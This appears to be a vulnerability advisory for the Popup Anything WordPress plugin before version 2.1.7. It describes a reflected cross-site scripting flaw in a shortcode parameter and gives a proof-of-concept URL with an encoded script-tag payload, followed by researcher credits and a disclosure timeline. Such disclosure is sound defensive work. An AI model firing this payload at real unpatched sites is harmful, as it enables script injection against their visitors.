WordPress Plugin Vulnerabilities
Popup Anything < 2.1.7 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape a parameter before outputting it back in a frontend page, leading to a Reflected Cross-Site Scripting
Proof of Concept
On a post/page where the [paoc_details display="key_xxx"] shortcode is embed, append the following payload: ?xxx=11111%3Cscript%3Ealert(/XSS/)%3C/script%3E e.g: https://example.com/2022/06/10/hello/?xxx=11111%3Cscript%3Ealert(/XSS/)%3C/script%3E
Affects Plugins
Fixed in version 2.1.7
References
Classification
Miscellaneous
Original Researcher
ZhongFu Su(JrXnm) of WuHan University
Submitter
ZhongFu Su(JrXnm) of WuHan University
Submitter website
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2022-07-04 (about 5 months ago)
Added
2022-07-04 (about 5 months ago)
Last Updated
2022-09-26 (about 2 months ago)